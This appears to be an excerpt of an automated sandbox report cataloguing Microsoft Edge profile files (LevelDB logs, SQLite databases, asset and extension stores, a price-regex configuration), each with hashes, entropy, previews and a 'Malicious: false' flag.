SHA1:	7E33A482455E6F1BEC9DD1A42412D14CE66824E3
SHA-256:	F6A09D39A797A811F4B20FC85DFD4CDB053746B3736BD4B555FE6655F4B5A91A
SHA-512:	A9EB4287529452F469E70842149A142A8B952AB4B477E45788A47C1FD99007CA9BDB9047FBBFF07107284E8E6D26441CE6676152A6B944379CAF3D24305E52E7
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.154517515353383
Encrypted:	false
SSDEEP:	6:Htzqq2PN723oH+Tcwt9Eh1tIFUt8Yt8VXZmw+YtaVFkwON723oH+Tcwt9Eh15LJ:NuvVaYeb9Eh16FUt8YEX/+Yi5OaYeb9O
MD5:	EF92BF311BA8463330D67DB804FCCACA
SHA1:	0E11FA3DF9D739E8C5BE54AD6D33BED722F05100
SHA-256:	C1BAAE2B07386E426BE3EA1F6A82AA2F4C80CEABB4BBACB85A8B5D9029E5872F
SHA-512:	E494DD814DBB16747F8EA693147F5FA4656B66D8D7EC0E538AD05C6B2D4AF1C50920573F47E300D581906FC14BBE0576C8BA21013838D5C8955C5CDD68CAD33B
Malicious:	false
Preview:	2024/11/28-11:24:36.956 22d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-11:24:36.971 22d0 Recovering log #3.2024/11/28-11:24:36.977 22d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.154517515353383
Encrypted:	false
SSDEEP:	6:Htzqq2PN723oH+Tcwt9Eh1tIFUt8Yt8VXZmw+YtaVFkwON723oH+Tcwt9Eh15LJ:NuvVaYeb9Eh16FUt8YEX/+Yi5OaYeb9O
MD5:	EF92BF311BA8463330D67DB804FCCACA
SHA1:	0E11FA3DF9D739E8C5BE54AD6D33BED722F05100
SHA-256:	C1BAAE2B07386E426BE3EA1F6A82AA2F4C80CEABB4BBACB85A8B5D9029E5872F
SHA-512:	E494DD814DBB16747F8EA693147F5FA4656B66D8D7EC0E538AD05C6B2D4AF1C50920573F47E300D581906FC14BBE0576C8BA21013838D5C8955C5CDD68CAD33B
Malicious:	false
Preview:	2024/11/28-11:24:36.956 22d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-11:24:36.971 22d0 Recovering log #3.2024/11/28-11:24:36.977 22d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4628423624512031
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuR2:TouQq3qh7z3bY2LNW9WMcUvBuo
MD5:	E780C1B3E410AE387C2AFF362DC7669B
SHA1:	80D1350CB35EDFDF78A45428D688700077ECF0AA
SHA-256:	9DE5E5038670549A8EF6D9FA7AA0C1EBAD069FE1BA720C7273B6DCB4DE814F81
SHA-512:	71E742394A501ACE4B3FD020978525EBD8CDB59E85BC84404FFB1558809E069EEF13B507CA2E8697AC9D0845FC2EDFF2BA5E7614FFA80A666F0F7DE1E81214FF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.218015096860924
Encrypted:	false
SSDEEP:	6:HwTgPN+q2PN723oH+TcwtnG2tMsIFUt8YwTgPZZmw+YwTPVkwON723oH+TcwtnGg:Q2+vVaYebn9GFUt8ja/+jzV5OaYebn9b
MD5:	B585A953146E2111C538FA3B25A59DAD
SHA1:	CE6275E450F6317101AD1783E8A115464DDBEADB
SHA-256:	99F44A129BC406522F191ED1855896736D15550BF1654F9C94BD016374E37589
SHA-512:	25F77C07C5FEB29F65D7A52CDD4F276BAAB9B9A6439D0232B0617496E9F12747A2DC43912DE3B40693E1E156B66777EF0E2877E61193B2117D4D7583F236CE74
Malicious:	false
Preview:	2024/11/28-11:24:31.685 207c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-11:24:31.685 207c Recovering log #3.2024/11/28-11:24:31.686 207c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.218015096860924
Encrypted:	false
SSDEEP:	6:HwTgPN+q2PN723oH+TcwtnG2tMsIFUt8YwTgPZZmw+YwTPVkwON723oH+TcwtnGg:Q2+vVaYebn9GFUt8ja/+jzV5OaYebn9b
MD5:	B585A953146E2111C538FA3B25A59DAD
SHA1:	CE6275E450F6317101AD1783E8A115464DDBEADB
SHA-256:	99F44A129BC406522F191ED1855896736D15550BF1654F9C94BD016374E37589
SHA-512:	25F77C07C5FEB29F65D7A52CDD4F276BAAB9B9A6439D0232B0617496E9F12747A2DC43912DE3B40693E1E156B66777EF0E2877E61193B2117D4D7583F236CE74
Malicious:	false
Preview:	2024/11/28-11:24:31.685 207c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-11:24:31.685 207c Recovering log #3.2024/11/28-11:24:31.686 207c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6136369347014241
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWzfrW0MAlVi:TLapR+DDNzWjJ0npnyXKUO8+j2C0p1mL
MD5:	5A95AA904D01A3BCD49CB1898C14B428
SHA1:	4CA146010892583A0B9300B6B0CBC3A9BD588081
SHA-256:	A36EF5AFEB1CFB2540529CE76B104507E6DFE2CB1E362C9F0F8F8AFAD34FCFD5
SHA-512:	F4638DF5DD89FAAE840B46A625D34A453893CFA0537FBF84977E8C96B34E2B04D935AFBD236BB11B22255EA97B9FE49E3D2FAF8AA6DB754EE31AC7C1BA669BED
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354178575445509
Encrypted:	false
SSDEEP:	6144:SA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:SFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	33390D230DB01926771A44D1D594A35C
SHA1:	7DB0FF3827E7FC69D0ED1EB5F240BAD2DEF9629F
SHA-256:	86ACC27DEFA146A5E8B7AC4F7881B52BC3DB83D24AADFE18F7B2DA2CED78818E
SHA-512:	F2A84FE2240F0D25BD84FD2ED7A0E40271FC42F5FC18F01AA527EEF060CA34729B83F6A49C39BBB55B4C8E94929234F40DFE4FC1282BA6866BFFDFD2214F838F
Malicious:	false
Preview:	...m.................DB_VERSION.1...q...............&QUERY_TIMESTAMP:domains_config_gz2...13377284681557147..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.13687090936585
Encrypted:	false
SSDEEP:	6:HtOTFH00RM1N723oH+Tcwtk2WwnvB2KLlVqVX0Qyq2PN723oH+Tcwtk2WwnvIFUv:NUUosaYebkxwnvFL2XpyvVaYebkxwnQg
MD5:	CFC8F114535D51806EC11AB04998396D
SHA1:	333A84641F2916C4D81AE8A98B3038377C284527
SHA-256:	52982FB1A96C527B2BD8052E007D83306875D4F8B32CBEE9A423AF9F7DC6EE75
SHA-512:	90331EEE096EA6A34806F81E46A8A44067BB55EA92F3EA358355D9899525A493A10853A2706A2B93D85AD018A52B773817805D16647039D16F1A69B897901249
Malicious:	false
Preview:	2024/11/28-11:24:36.966 22e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/28-11:24:37.001 22e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.32460717413874
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rf:C1gAg1zfv3
MD5:	57A387F609F9D9944DCD7CED853ADC8F
SHA1:	3740C449897BB11D1CCD911264769763E18A3C74
SHA-256:	8066DEBE5FC413051F0C36F6C2E1658B2FF35B52DB984D5E754854B708FAAD9B
SHA-512:	3CA0D21636BB3D3A89768D682D07AEF187936BF4080FE2614F80C86BD01C8E069FD30F83F9B89ED2548F021760FB6C8F6C2ADEFD5306CFBB1FA6A96804150FC2
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.173941007119953
Encrypted:	false
SSDEEP:	6:HwTqq2PN723oH+Tcwt8aPrqIFUt8YwTgZmw+YwTIkwON723oH+Tcwt8amLJ:QOvVaYebL3FUt8jk/+jE5OaYebQJ
MD5:	728D3803F5CBF9B7106BDC2310603833
SHA1:	E4C04737D9D4DF7FDFFD489F2A3D522A36FB499A
SHA-256:	7347F3D4439F180CE0C3B26BAC594B15FDF7E21601D87FD7A3C3A8CFE814EB1C
SHA-512:	1C2E919659187EE53C1FB7BB63B57CAB485D416B0F4CE6BB395A95816822CAC9F976D0282315EEFAE141C5256E4DE809B58A0AA2039D8ADC5B038DF82B31DA1C
Malicious:	false
Preview:	2024/11/28-11:24:31.681 7b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-11:24:31.682 7b0 Recovering log #3.2024/11/28-11:24:31.682 7b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.173941007119953
Encrypted:	false
SSDEEP:	6:HwTqq2PN723oH+Tcwt8aPrqIFUt8YwTgZmw+YwTIkwON723oH+Tcwt8amLJ:QOvVaYebL3FUt8jk/+jE5OaYebQJ
MD5:	728D3803F5CBF9B7106BDC2310603833
SHA1:	E4C04737D9D4DF7FDFFD489F2A3D522A36FB499A
SHA-256:	7347F3D4439F180CE0C3B26BAC594B15FDF7E21601D87FD7A3C3A8CFE814EB1C
SHA-512:	1C2E919659187EE53C1FB7BB63B57CAB485D416B0F4CE6BB395A95816822CAC9F976D0282315EEFAE141C5256E4DE809B58A0AA2039D8ADC5B038DF82B31DA1C
Malicious:	false
Preview:	2024/11/28-11:24:31.681 7b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-11:24:31.682 7b0 Recovering log #3.2024/11/28-11:24:31.682 7b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.235810235589965
Encrypted:	false
SSDEEP:	6:HwTpq2PN723oH+Tcwt865IFUt8YwT0Zmw+YwT0kwON723oH+Tcwt86+ULJ:QlvVaYeb/WFUt8jw/+j45OaYeb/+SJ
MD5:	CB764B453F883A6024D0014A0D9DB199
SHA1:	E77EE5C1A79AC5DA1612D158B3EA715D25B17197
SHA-256:	0323F041745A6A77EBF034AFC63BDA6FD56C1DEB20141704F828ACF474E2FDBA
SHA-512:	A5DC2354350561D34C610B94EBCD1D09FE7B21F0A903A5FF01AF1EB998D2A009A5D879AA41EEEF80EFA865E8AE005A7C561EEAAB6BC84D7A9F19C914A604FD3E
Malicious:	false
Preview:	2024/11/28-11:24:31.695 7b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-11:24:31.695 7b0 Recovering log #3.2024/11/28-11:24:31.695 7b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.235810235589965
Encrypted:	false
SSDEEP:	6:HwTpq2PN723oH+Tcwt865IFUt8YwT0Zmw+YwT0kwON723oH+Tcwt86+ULJ:QlvVaYeb/WFUt8jw/+j45OaYeb/+SJ
MD5:	CB764B453F883A6024D0014A0D9DB199
SHA1:	E77EE5C1A79AC5DA1612D158B3EA715D25B17197
SHA-256:	0323F041745A6A77EBF034AFC63BDA6FD56C1DEB20141704F828ACF474E2FDBA
SHA-512:	A5DC2354350561D34C610B94EBCD1D09FE7B21F0A903A5FF01AF1EB998D2A009A5D879AA41EEEF80EFA865E8AE005A7C561EEAAB6BC84D7A9F19C914A604FD3E
Malicious:	false
Preview:	2024/11/28-11:24:31.695 7b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-11:24:31.695 7b0 Recovering log #3.2024/11/28-11:24:31.695 7b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147358211507148
Encrypted:	false
SSDEEP:	6:Hplc9WL+q2PN723oH+Tcwt8NIFUt8YpkBdXZmw+YpaNVkwON723oH+Tcwt8+eLJ:JlyvVaYebpFUt8ckB5/+caz5OaYebqJ
MD5:	F009F63D42C66D15228A188263C54A65
SHA1:	E8310FB8A2F0CC9556E7E04B14051907ED8F0D09
SHA-256:	4CE1E667F257DD3936BEE8A0D5FD33308976E9E6BFA64ADDBA5BA36BF2ACC7F1
SHA-512:	73B76E7E03BC8A0A6BD1DA60EE67DEA5E57A530C920251D68FCBD2078FE11027F99325AAF7C22A1586A37D1CA6E1E86A229AEE5E595CF6A4AC1797D1CF5864F9
Malicious:	false
Preview:	2024/11/28-11:24:32.492 23d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-11:24:32.503 23d8 Recovering log #3.2024/11/28-11:24:32.516 23d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147358211507148
Encrypted:	false
SSDEEP:	6:Hplc9WL+q2PN723oH+Tcwt8NIFUt8YpkBdXZmw+YpaNVkwON723oH+Tcwt8+eLJ:JlyvVaYebpFUt8ckB5/+caz5OaYebqJ
MD5:	F009F63D42C66D15228A188263C54A65
SHA1:	E8310FB8A2F0CC9556E7E04B14051907ED8F0D09
SHA-256:	4CE1E667F257DD3936BEE8A0D5FD33308976E9E6BFA64ADDBA5BA36BF2ACC7F1
SHA-512:	73B76E7E03BC8A0A6BD1DA60EE67DEA5E57A530C920251D68FCBD2078FE11027F99325AAF7C22A1586A37D1CA6E1E86A229AEE5E595CF6A4AC1797D1CF5864F9
Malicious:	false
